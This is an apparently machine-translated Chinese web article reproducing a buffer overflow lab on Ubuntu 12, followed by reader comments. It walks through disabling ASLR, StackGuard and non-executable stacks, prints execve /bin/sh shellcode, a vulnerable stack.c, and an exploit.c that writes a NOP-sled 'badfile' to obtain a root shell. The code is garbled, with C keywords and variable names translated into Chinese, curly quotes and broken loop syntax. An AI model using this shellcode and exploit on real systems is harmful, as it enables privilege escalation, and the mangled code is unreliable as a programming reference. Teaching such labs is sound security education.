什么是缓冲区溢出攻击?

Buffer Overflow Vulnerability Lab实验目的:掌握缓冲区溢出漏洞原理。缓冲区溢出定义:程序企图在预分配的缓冲区之外写数据。漏洞危害

大家好,今天小编来为大家解答以下的问题,关于什么是缓冲区溢出攻击?,这个很多人还不知道,现在让我们一起来看看吧!

缓冲区溢出漏洞实验室

实验目的:掌握缓冲区溢出漏洞原理。缓冲区溢出定义:程序尝试将数据写入预先分配的缓冲区之外。漏洞危害:用于改变程序执行流程、控制函数返回值、执行任意代码。漏洞原因:不可避免,由于程序存储数据(缓冲区)和程序(返回地址)都在栈上,当存储数据覆盖控制数据时,可能会发生缓冲区溢出。学习目标:

通过代码设计和利用缓冲区溢出漏洞获取Ubuntu12的root权限。掌握操作系统(linux OS)保护机制,防止缓冲区溢出攻击。您可以在ubuntu12虚拟机中完成本实验。由于ubuntu中的一些保护机制,缓冲区溢出很难实现。为此,我们需要关闭这些保护机制。

地址空间随机化意味着堆/栈中的起始地址每次都不同。关闭地址随机化

StackGuard Protection是gcc编译器实现的一种安全机制,用于防止缓冲区溢出漏洞。您可以在编译时使用-fno-stack-protector 选项来关闭此机制。堆栈是不可执行的(Non-Executable Stack)。 ubuntu12的默认堆栈是不可执行的。编译时可以使用-z execstack 选项使堆栈可执行。

shellcode

shellcode是一段弹出shell的可执行代码。我们需要将这段可执行代码加载到内核缓冲区中,通过缓冲区溢出漏洞跳转到这段可执行代码,让终端弹出shell。

#include stdio.hint main( ) {char *name[2];name[0]=”/bin/sh”;name[1]=NULL;//execve()//参数1:sh可执行文件文件在系统中的路径指针//参数2:数组指针,传递给可执行文件//参数3:新建环境变量数组,传递给可执行文件execve(name[0], name, NULL);}

执行效果和直接在/bin/目录下执行./sh是一样的。

shellcode 是什么样的?

什么是缓冲区溢出攻击?

const char code[]=’\x31\xc0′ /* xorl %eax,%eax */’\x50′ /* Pushl %eax */’\x68”//sh’ /* Pushl $0x68732f2f */’ \x68”/bin’ /* Pushl $0x6e69622f */’\x89\xe3′ /* movl %esp,%ebx */’\x50′ /* Pushl %eax */’\x53′ /* Pushl %ebx */’\x89\xe1′ /* movl %esp,%ecx */’\x99′ /* cdq */’\xb0\x0b’ /* movb $0x0b,%al */’\xcd\x80’/* int $0x80 */;如何让shellcode运行?

int main(int argc, char **argv){ char buf[sizeof(code)]; strcpy(buf, 代码); //注意函数指针((void(*)( ))buf)( );}shellcode汇编代码解释

执行该程序堆栈和寄存器中的数据:

The Vulnerable Program

/* stack.c *//* 该程序存在缓冲区溢出漏洞。 *//* 我们的任务是利用这个漏洞*/#include stdlib.h#include stdio.h#include string.hint bof( char *str){ char buffer[24]; /* 以下语句存在缓冲区溢出问题*/strcpy(buffer, str);返回1;}int main(int argc, char **argv){ char str[517];文件*坏文件; badfile=fopen(‘badfile’, ‘r’); fread(str, sizeof(char), 517, badfile); bof(str); printf(‘正确返回\n’); return 1 ;} 当badfile文件中的内容大小小于缓冲区大小时,程序正常。当文件内容大小超过缓冲区大小时,会发生程序异常,发生缓冲区溢出。

exploiting the Vulnerability

利用缓冲区溢出漏洞获取root权限:

/*exploit.c*//* 创建包含启动shell 代码的文件的程序*/#include stdlib.h#include stdio.h#include string.hchar shellcode[]=’\x31\xc0′ /* xorl %eax,%eax */’\x50′ /* Pushl %eax */’\x68”//sh’ /* Pushl $0x68732f2f */’\x68”/bin’ /* Pushl $0x6e69622f */’ \x89\xe3′ /* movl %esp,%ebx */’\x50′ /* Pushl %eax */’\x53′ /* Pushl %ebx */’\x89\xe1′ /* movl %esp,% ecx */’\x99′ /* cdq */’\xb0\x0b’ /* movb $0x0b,%al */’\xcd\x80′ /* int $0x80 */;unsigned long get_sp(){ __asm__( ‘movl %esp,%eax’);}void main(int argc, char **argv){ char 缓冲区[517];文件*坏文件; /* 使用0x90 初始化缓冲区(NOP 指令) */memset(buffer,0x90 , 517); /* 你需要在这里用适当的内容填充缓冲区*/long* addr_ptr,addr;整数偏移量=200; addr=get_sp() + 偏移量; addr_ptr=(长*)缓冲区; for(int i=0;i10;i++) *(addr_ptr++)=addr; memcpy(buffer+sizeof(buffer)-sizeof(shellcode), shellcode,sizeof(shellcode)); /* 将内容保存到文件’badfile’ */badfile=fopen(‘./badfile’, ‘w’); fwrite(缓冲区, 517, 1, 坏文件); fclose(badfile);} 编译并运行程序,即可获得root权限:

用户评论

什么是缓冲区溢出攻击?
青山暮雪

之前听别人提过这个词,现在看到这篇文章终于明白了!原来就是程序员没做好边界控制导致的数据越界问题嘛,难怪会被黑客利用漏洞入侵系统!

    有19位网友表示赞同!

什么是缓冲区溢出攻击?
回到你身边

以前只知道“安全”和“黑客”是个概念,没想过中间还有这么细致的原理。文章讲解得很清楚易懂,我个人的理解就是恶意代码直接塞进去,强迫程序执行它吧?

    有12位网友表示赞同!

什么是缓冲区溢出攻击?
┲﹊怅惘。

这篇文章让我彻底明白缓冲区溢出攻击是怎么发生的,真是太可怕了!以后得加强对软件安全的学习!

    有7位网友表示赞同!

什么是缓冲区溢出攻击?
熟悉看不清

我也做过一些开发,感觉文章讲的非常准确。尤其是说缓冲区的大小和数据的格式都有很大的影响,要特别注意这些细节!

    有14位网友表示赞同!

什么是缓冲区溢出攻击?
淡抹丶悲伤

我学过一点编程基础,看完这篇文章发现确实很多地方需要注意,比如使用函数时要注意输入的长度,数据类型等问题,否则很容易导致溢出攻击。

    有16位网友表示赞同!

什么是缓冲区溢出攻击?
你瞒我瞒

我觉得文章内容很有用,因为在网络安全的知识学习中,理解这种类型的攻击至关重要!

    有8位网友表示赞同!

什么是缓冲区溢出攻击?
拥抱

这篇文章讲得真好使,现在我可以自信地向朋友解释“缓冲区溢出攻击”到底是什么了。

    有7位网友表示赞同!

什么是缓冲区溢出攻击?
夏以乔木

太感谢作者了! 文章简洁明了,帮助我快速了解了这个概念。希望能看到更多关于网络安全知识的介绍。

    有14位网友表示赞同!

什么是缓冲区溢出攻击?
浮世繁华

我认为这篇文章只探讨了一个简单的例子,现实中的攻击方法更为复杂,需要更深入的研究才能完全掌握。

    有16位网友表示赞同!

什么是缓冲区溢出攻击?
Hello爱情风

我觉得缓冲区溢出攻击这种漏洞已经应该得到更多的重视了!开发人员和使用者都需要提高警惕!

    有15位网友表示赞同!

什么是缓冲区溢出攻击?
走过海棠暮

有些地方不太理解,感觉语言太专业了,希望能加入一些更加通俗易懂的解释。

    有6位网友表示赞同!

什么是缓冲区溢出攻击?
素婉纤尘

文章的案例例子有点少了,更多实务案例能更容易帮助读者理解原理!

    有17位网友表示赞同!

什么是缓冲区溢出攻击?
堕落爱人!

这篇文章对我来说比较难懂,我建议作者可以对一些关键概念进行更详细的解释,或者用图文方式辅助说明。

    有5位网友表示赞同!

什么是缓冲区溢出攻击?
回忆未来

我想知道缓冲区溢出攻击的预防措施有哪些?文章里好像没提到。

    有9位网友表示赞同!

什么是缓冲区溢出攻击?
淡抹丶悲伤

虽然文章讲解得很清楚,但我感觉还是有点缺乏实践经验。希望能看到一些实战案例和防御策略的介绍吧!

    有16位网友表示赞同!

什么是缓冲区溢出攻击?
墨染殇雪

我倒是觉得这篇文章说得挺好,内容很全面,对理解缓冲区溢出攻击原理很有帮助!

    有10位网友表示赞同!

什么是缓冲区溢出攻击?
晨与橙与城

我觉得这篇科普文章做得不错,能够让大众更加了解网络安全的问题。希望以后能看到更多关于网络安全的知识分享!

    有13位网友表示赞同!

什么是缓冲区溢出攻击?
稳妥

在学习过程中遇到了一些问题,不过这篇文章让我有了很多思路,感觉缓冲区溢出攻击的原理确实很值得深思!

    有12位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/166500.html

(0)
小su's avatar小su
上一篇 2024年9月21日 下午1:32
下一篇 2024年9月21日 下午1:35

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注